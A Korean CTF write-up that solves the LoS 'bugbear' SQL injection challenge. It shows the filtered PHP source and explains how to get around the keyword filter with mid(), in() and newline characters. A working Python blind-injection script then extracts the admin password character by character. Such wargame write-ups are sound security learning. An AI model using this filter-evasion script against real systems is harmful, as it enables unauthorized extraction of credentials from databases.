본문 바로가기
  • Show the world what you can do
Web2/LoS

[LoS] bugbear 풀이

by kaymin 2022. 11. 11.
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 
  highlight_file(__FILE__); 
?>

보면 substr, ascii, or, and, 공백, like, 0x를 쓸 수 없다.

그래서 substr는 mid함수로 바꾸고 두번째 쿼리에서 문자 하나씩 대입해보는 파트는 chr()함수를 사용하여 처리했다. (왜 ord함수를 이용해서는 안되는지 아직 잘 모르겠다..)

나머지 부분은 darkknight와 풀이방식이 같다.

 

성공한 코드:

import requests

url='https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no=2%0a||id%0ain%0a("admin")%0a%26%26%0a'
header = {"Cookie":"PHPSESSID=어쩌"}
length=0

for i in range(0, 30):
        qry="length(pw)>{0}%0a%26%26%0alength(pw)<{1}%0a%23".format(i-1, i+1)
        req=requests.get(url+qry, headers=header)
        if "Hello admin" in req.text:
                length=i
                break

print(length)
res=''
for i in range(1, length+1):
     for j in range(47, 123):
             
        qry='mid(pw,%0a'+str(i)+',%0a1)%0ain%0a("'+chr(j)+'")%23'
        req=requests.get(url+qry, headers=header)
        if "Hello admin" in req.text:
                print("index"+str(i)+"= "+chr(j))
                res+=chr(j)
                break

print(res)

 즉 pw=52dc3991 이란 것!!(왜 대문자로 위에선 표시되는지 아직 모르겠다..)

 

성공!

'Web2 > LoS' 카테고리의 다른 글

[LoS] giant 풀이  (0) 2022.11.11
[LoS] darkknight 풀이  (2) 2022.11.11
[LoS] golem 풀이  (0) 2022.11.11
[LoS] darkelf 풀이  (0) 2022.11.11
[LoS] skeleton 풀이  (0) 2022.11.10

댓글